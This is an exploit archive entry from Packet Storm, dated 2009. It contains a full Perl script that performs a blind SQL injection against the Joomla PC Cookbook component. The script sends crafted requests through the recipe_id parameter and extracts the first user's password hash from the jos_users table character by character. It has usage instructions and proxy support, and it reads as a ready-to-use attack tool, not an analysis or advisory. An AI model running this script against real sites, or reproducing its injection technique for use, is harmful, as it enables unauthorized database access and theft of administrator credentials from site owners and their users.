Joomla PC Cookbook Component Blind SQL Injection

2009-01-21T00:00:00
ID PACKETSTORM:74145
Type packetstorm
Reporter Cyb3r-1sT
Modified 2009-01-21T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
use LWP::UserAgent;  
use Getopt::Long;  
  
if(!$ARGV[1])  
{  
print " \n";   
print " #########################################################################\n";  
print " # \n";  
print " # Joomla com_pccookbook Blind sql injection exploit \n";  
print " # \n";  
print " # Cyb3R-1sT \n";  
print " # cyb3r-1st[at]hotmail.com \n";  
print " # \n";  
print " # Usage:perl file.pl host path <options> \n";  
print " # example: perl file.pl www.host.com /joomla/ -a 7 \n";  
print " # \n";  
print " # Options: -a id \n";  
print " # \n";  
print " #########################################################################\n";  
exit;  
}  
  
my $host = $ARGV[0];  
my $path = $ARGV[1];  
my $userid = 1;  
my $aid = $ARGV[2];  
  
my %options = ();  
GetOptions(\%options, "u=i", "p=s", "a=i");  
  
print "[~] Exploiting...\n";  
  
if($options{"u"})  
{  
$userid = $options{"u"};  
}  
  
if($options{"a"})  
{  
$aid = $options{"a"};  
}  
  
syswrite(STDOUT, "[~] Password: ", 14);  
  
for(my $i = 1; $i <= 32; $i++)  
{  
my $f = 0;  
my $h = 48;  
while(!$f && $h <= 57)  
{  
if(istrue2($host, $path, $userid, $aid, $i, $h))  
{  
$f = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
if(!$f)  
{  
$h = 97;  
while(!$f && $h <= 122)  
{  
if(istrue2($host, $path, $userid, $aid, $i, $h))  
{  
$f = 1;  
syswrite(STDOUT, chr($h), 1);  
}  
$h++;  
}  
}  
}  
  
print "\n[~] Exploiting done\n";  
  
sub istrue2  
{  
my $host = shift;  
my $path = shift;  
my $uid = shift;  
my $aid = shift;  
my $i = shift;  
my $h = shift;  
  
my $ua = LWP::UserAgent->new;  
my $query = "http://".$host.$path."index.php?option=com_pccookbook&page=viewrecipe&recipe_id=".$aid." and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1),".$i.",1))=CHAR(".$h.")";  
  
if($options{"p"})  
{  
$ua->proxy('http', "http://".$options{"p"});  
}  
  
my $resp = $ua->get($query);  
my $content = $resp->content;  
my $regexp = "Ingredients";  
  
if($content =~ /$regexp/)  
{  
return 1;  
}  
else  
{  
return 0;  
}  
  
}  
  
  
`